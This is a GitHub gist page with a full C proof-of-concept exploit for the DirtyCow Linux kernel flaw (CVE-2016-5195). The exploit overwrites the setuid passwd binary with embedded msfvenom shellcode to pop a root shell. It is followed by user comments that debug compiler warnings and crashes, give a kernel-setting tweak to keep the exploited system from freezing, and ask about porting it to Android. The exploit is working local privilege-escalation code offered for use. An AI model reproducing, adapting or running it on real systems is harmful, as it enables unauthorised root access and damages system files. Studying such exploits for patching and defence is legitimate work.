Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
}
int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}

I have two questions:

  1. This exp could work well on centos7, but failed centos5 and centos 6, could you tell me why?
  2. After running the exp and getting the root privilege, I would be disconnect from the machine a moment later, why?

This doesn't appear to work on Ubuntu 14.04:

cowroot.c: In function ‘procselfmemThread’:
cowroot.c:99:9: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [enabled by default]
         lseek(f,map,SEEK_SET);
         ^
In file included from cowroot.c:28:0:
/usr/include/unistd.h:334:16: note: expected ‘__off_t’ but argument is of type ‘void *’
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
                ^
cowroot.c: In function ‘main’:
cowroot.c:142:5: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘__off_t’ [-Wformat=]
     printf("Size of binary: %d\n", st.st_size);
     ^

paboldin commented Oct 21, 2016 edited

  1. This exp could work well on centos7, but failed centos5 and centos 6, could you tell me why?

CentOS5/6 have mem_write disabled.

The code got me root access but it freezes the machine. Looking for ways to achieve the same goal using some other way.

tuxayo commented Oct 21, 2016 edited

Can anyone confirm that this payload is not malicious? (It's a good opportunity to make people run random things on their machines)
It's easy to check that the hex payload corresponds to the command line, just install metasploit, run the command and compare the output.

But for the rest, I have no idea about what it's actually doing.

All looks legit to me tuxayo.

Seems to work great, but freezes my virtual machine after a minute or so.

Had to explicitly cast on line 98: lseek(f,(__off_t)map,SEEK_SET);

It then compiled and worked on Centos7-x64 for about 30 seconds after which selinux went crazy and the system reboot. Some sample /var/log/messages prior to the crash:

Oct 22 23:24:10 myserver setroubleshoot: SELinux is preventing /usr/bin/passwd from write access on the file /proc/<pid>/mem. For complete SELinux messages. run sealert -l cd27eda7-f82d-4595-9505-b3fd4990262f
Oct 22 23:24:11 myserver setroubleshoot: SELinux is preventing /usr/bin/bash from read access on the file .bash_history. For complete SELinux messages. run sealert -l 3366a8fa-6662-43e0-b715-4f882607f4a3

Great work so far!

Same thing happened to me (system crash in centos 7/64) with selinux disabled, but I went root for about one minute or so

artkond commented Oct 23, 2016 edited

Tested on debian 8 x86. uname 3.16-0-4-686. Doesn't work
Don't forget to restore /tmp/bak thread stopped /usr/bin/passwd: 1: /usr/bin/passwd: ELF����: not found /usr/bin/passwd: 1: /usr/bin/passwd: not found /usr/bin/passwd: 1: /usr/bin/passwd: 1sG not found /usr/bin/passwd: 2: /usr/bin/passwd: /bin/bash/lib/ld-linux.so.2���GNU��: not found /usr/bin/passwd: 3: /usr/bin/passwd: ���������xpected user1@debian8x86:~$ passwd bash: /usr/bin/passwd: cannot execute binary file: Exec format error

jmssil commented Oct 23, 2016

@artkond, did you choose the correct payload?

In a VM with Ubuntu 16.04.1 it works but freezes the system.

leoheck commented Oct 24, 2016 edited

@libmifan I can't even compile it with Centos 5.11 (2.6.18-412.el5.centos.plus), I had to add:

#include <sys/stat.h>
#include <sys/types.h>

Is this expected? Maybe not, right @falk0069?

gcc cowroot.c -o cowroot -pthread
cowroot.c: In function ‘procselfmemThread’:
cowroot.c:101: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast
Owner

rverton commented Oct 25, 2016

The warnings are normal. This PoC crashes on some systems and on some others it's stable. I can't fix this for now.

Maybe you can find a different PoC from here, which makes use of another technique and does not crash.

kostrin commented Oct 25, 2016

I was able to stabilize this exploit by turning off periodic write-back after the shell pops. As found in the following issue.

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

joshuaskorich commented Oct 26, 2016 edited

The lazy(easy) approach to disabling writebacks: https://gist.github.com/joshuaskorich/86c90e12436c873e4a06bd64b461cc43

gcc cowroot.c -o cowroot -pthread
cowroot.c: In function ‘procselfmemThread’:
cowroot.c:98:17: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [-Wint-conversion]
lseek(f,map,SEEK_SET);
^
In file included from cowroot.c:27:0:
/usr/include/unistd.h:337:16: note: expected ‘__off_t {aka long int}’ but argument is of type ‘void *’
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^
cowroot.c: In function ‘main’:
cowroot.c:135:5: warning: implicit declaration of function ‘asprintf’ [-Wimplicit-function-declaration]
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
^
cowroot.c:139:5: warning: implicit declaration of function ‘fstat’ [-Wimplicit-function-declaration]
fstat(f,&st);
^
cowroot.c:141:12: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘__off_t {aka long int}’ [-Wformat=]
printf("Size of binary: %d\n", st.st_size);
^

wjx commented Nov 6, 2016

When copying sc into payload, why use memcpy(payload, sc, sc_len+1); instead of memcpy(payload, sc, sc_len); ?
sc_len+1 seems meaningless and copys out of sc array.

lapsio commented Nov 9, 2016 edited

goddammit I used this exploit because i forgot my new root password and I didn't realize it alters passwd binary so then I couldn't reset my password to proper one! :<

luckily it doesn't affect snapshots so at least I could revert /etc/shadow and /bin/passwd from old snapshot >.>

how can i compile it in order to run it on android device?

how you generate the payload of the metasploit in hexcode(shell code)?

image
Is this supposed to happen?

half2me commented May 8, 2017

Any reason why we use 100 as size with madvise

Awesome, saved my old dev computer after I forgot my root creds.

TheBunnyCoder no, it isn´t happen. It means it doesn´t work in your machine

It works but freeze the machine. I think there isn´t other way like cowroot

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment